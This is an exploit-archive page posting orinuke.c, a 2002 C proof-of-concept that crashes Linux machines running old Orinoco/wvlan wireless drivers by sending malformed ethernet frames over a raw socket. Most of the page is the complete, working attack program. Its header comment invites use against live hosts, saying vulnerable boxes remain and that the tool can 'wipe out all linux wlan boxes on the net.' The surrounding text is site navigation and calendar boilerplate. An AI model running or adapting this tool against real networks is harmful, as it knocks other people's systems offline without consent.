what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

orinuke.c

orinuke.c
Posted Aug 29, 2002
Authored by gh0st

OriNuke - Orinoco Wavelan Nuker. Orinoco/wvlan driver (< orinoco_cs 0.11) did not check for under or oversized ethernet frames. This proof of concept tool crashes a remote system. Currently fixed in current release of the driver.

tags | remote, denial of service, proof of concept
SHA-256 | 3009dac0da906612b271bdcd8e9cd9e56e5c69621dc76aaf15ea8661afcae452

orinuke.c

Change Mirror Download
/*******************************************************
*
* OriNuke - Orinoco Wavelan Nuker
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*
* The old orinoco/wvlan driver ( < orinoco_cs 0.11)
* didn't check for under- oder oversized ethernet
* frames -> after receiving such a frame, the whole
* box crashed/rebooted...
*
* Since the bug finally has been fixed, here is a
* simple proof of concept exploit... there should
* still be enough vulnerable boxes out there...
*
* By sending a few of these broken ethernet frames
* you can wipe out all linux wlan boxes on the net.
*
* Keep in mind, that you need a wired box to send
* the nukes unless your wireless box can really spoof
* on ethernet level.
*
* Greetings fly to:
* DigiDust, Anarchy, Hunz, bullet, huega, Mike,
* Macrotron, koerk ...
*
*
* Have phun,
* gh0st
*
******************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/ethernet.h>

int main(int argc, char **argv) {
int sock, ret, i, numnukes;
char *packet, device[1024];
struct sockaddr sa;

packet=malloc(64);
memset(packet,0,64);
memset(packet,0xff,6);

printf("[[ OriNuke - WaveLAN Nuker ]]\n - written by gh0st\n\n");

if(argc<3) {
printf(" Usage: %s <interface> <numnukes>\n\n", argv[0]);
return -1;
}

strncpy(device,argv[1],1024);
numnukes=atoi(argv[2]);

if((sock=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0){
perror("Error creating socket");
return -1;
}

memset(&sa,0,sizeof(sa));
strncpy(sa.sa_data,device,sizeof(sa.sa_data));

printf("Sending nukes: ");
for(i=0;i<numnukes;i++) {
ret=sendto(sock,packet,64,0,&sa,sizeof(sa));
printf(".");
}
printf("\n\nPeace!\n");

free(packet);
close(sock);
return 0;
}



Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close